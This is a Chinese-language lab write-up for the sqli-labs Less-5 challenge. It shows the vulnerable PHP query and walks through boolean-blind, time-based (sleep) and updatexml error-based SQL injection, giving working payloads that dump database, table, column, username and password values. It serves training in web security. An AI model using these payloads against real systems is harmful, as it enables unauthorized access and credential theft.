首页 > 其他分享 >第五关-Less-5:

第五关-Less-5:

时间:2024-02-02 22:44:29浏览次数:24  
标签:Less 第五 concat --+ table id select schema

第五关-Less-5:

GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

我们还是先来判断注入点:

我们输入一个正常?id=1来查看一下回显:

这里我们看到它的页面是不回显的

我们再输入?id=1' 来查看一下:

发现还是存在语法错误,从报错信息这里我们看到是单引号闭合

我们正常闭合看一下:

显示正常还是不回显

我们来查看一下它的网页源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";   //单引号闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';    //闭合正确都是回显这个
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());    //这里存在报错信息
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

我们如果看到这样的报错信息,首先想到的就是布尔型盲注、报错型注入、时间延迟型盲注了,联合查询注入在这里就用不了了,因为联合注入需要页面有回显,这里页面没有回显只有报错信息

方法一:

这里我们可以使用布尔型注入,我们用布尔盲注,布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么,布尔盲注向对于联合注入来说需要花费大量时间

下面是布尔盲注的手工版:

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

方法二:

我们还可以用时间延迟注入,时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

我们构造以下payload:

爆数据库的长度:

?id=1' and if(length(database())=8,sleep(5),1)--+

这里我们发现它的延迟明显,说明数据库的长度为8

如果匹配错误,当我们匹配数据库长度为7时,就不会有明显的延迟:

爆库名:

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

这里的s就是我们要进行匹配的字符,明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

爆表名:

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

爆列名:

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

爆破值:

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

方法三:

因为这里并不是完全没有回显,所以我们尝试使用updatexml报错注入

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

爆数据库名:

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆数据库里的表名:

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

爆表里的字段名:

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

爆对应的username和password的值:

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+

注入成功!

标签:Less,第五,concat,--+,table,id,select,schema
From: https://www.cnblogs.com/xyweiwen/p/18004143

相关文章

  • RHCE第五周(计划任务)
    一:一次性计划任务(at)1:一次性计划任务的简介在某个时间执行任务,这个服务是有atd管理的,默认安装了atd服务,at命令是管理工具2:at来管理计划任务1:创建计划任务第一种格式:at时间回车,再来输入命令按ctrl+d退出第二种格式:at时间<文件就是将命令放入到文件中去,通过文件......
  • 第四关-Less-4:
    第四关-Less-4:GET-Errorbased-DoubleQuotes-String(基于错误的GET双引号字符型注入)判断注入点:我们输入?id=1'时来查看页面的回显:发现页面并没有任何变化我们再输入?id=1"(双引号)来查看页面回显:这里根据报错,我们可以知道SQL语句是双引号字符型且有括号,所以我们......
  • C++第五十五篇-定时器SetTimer
    使用的一个百度AI代码生成网站: https://yiyan.baidu.com/定时器的实现示例:新建一个程序 编写ConsoleApplication1.cpp#include<iostream>#include<Windows.h>usingnamespacestd;#pragmacomment(lib,"User32.lib")//首先定义一个计时器计时事件的定义#define......
  • CF138A Literature Lesson
    原题传送门分析既然题目要求求出所有四行诗共同的形态,那我们就想到可以用位运算。我们用二的次方来表示每一种形态,然后把每一篇诗的形态或起来,就可以得到最终的形态。输出的时候再拿个函数转一下就行了。有了基本框架,我们就可以开始构造特殊情况。题目中说到如果有aaaa这种......
  • 标题:《程序是怎样跑起来的》阅读笔记 - 第五、六章
    简介:本文将继续探索《程序是怎样跑起来的》,对该书的第五、六章进行阅读笔记,重点关注计算机程序的运行流程和输入输出操作。第五章:程序的执行本章主要讲解了程序的执行过程,包括指令的抓取、解码和执行等步骤。作者详细介绍了计算机中指令的编码方式和指令集体系结构,并解释了控制......
  • 第三关-Less-3
    第三关-Less-3:GET-Errorbased-Singlequoteswithtwiststring(基于错误的GET单引号变形字符型注入):判断注入点:当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。这时我们来查看源码的关键部分......
  • 第二关-less-2:
    sqli-labs第二关:先判断是否存在sql注入漏洞页面回显返回错误,说明存在sql注入再判断它的注入点通过回显可知是数字型注入,然后现在将第一关的sql注入语句改为数字型,就可以注入成功//判断字段:?id=1orderby1--+?id=1orderby2--+?id=1orderby3--+?id=1ord......
  • IPQ4019: Revolutionizing Long-Range Wireless Connectivity
    UnveilingtheIPQ4019:RevolutionizingLong-RangeWirelessConnectivityIntroduction:TheIPQ4019System-on-Chip(SoC)emergesasagame-changerforPoint-to-Point(PTP)andPoint-to-Multipoint(PTMP)applications,presentingadvancedfeaturestailoredfor......
  • AI 绘画平台难开发,难变现?试试 Stable Diffusion API Serverless 版解决方案
    AI绘画平台难开发,难变现?试试StableDiffusionAPIServerless版解决方案136人阅读14分钟前分享全屏显示Stable Diffusion 模型,已经成为 AI 行业从传统深度学习时代走向 AIGC 时代的标志性里程碑。越来越多的开发者借助 stable-diffusion-webui (以下简称 SDWeb......
  • python第五节:集合set(3)
    集合遍历for循环遍历集合中元素例子1:set1={'a','b','cde','张三','123'} foriinset1:   print(i) 结果:acdeb张三123 enumerate遍历索引和元素例子2:set1={'a','b','cde','张三','123'} forin......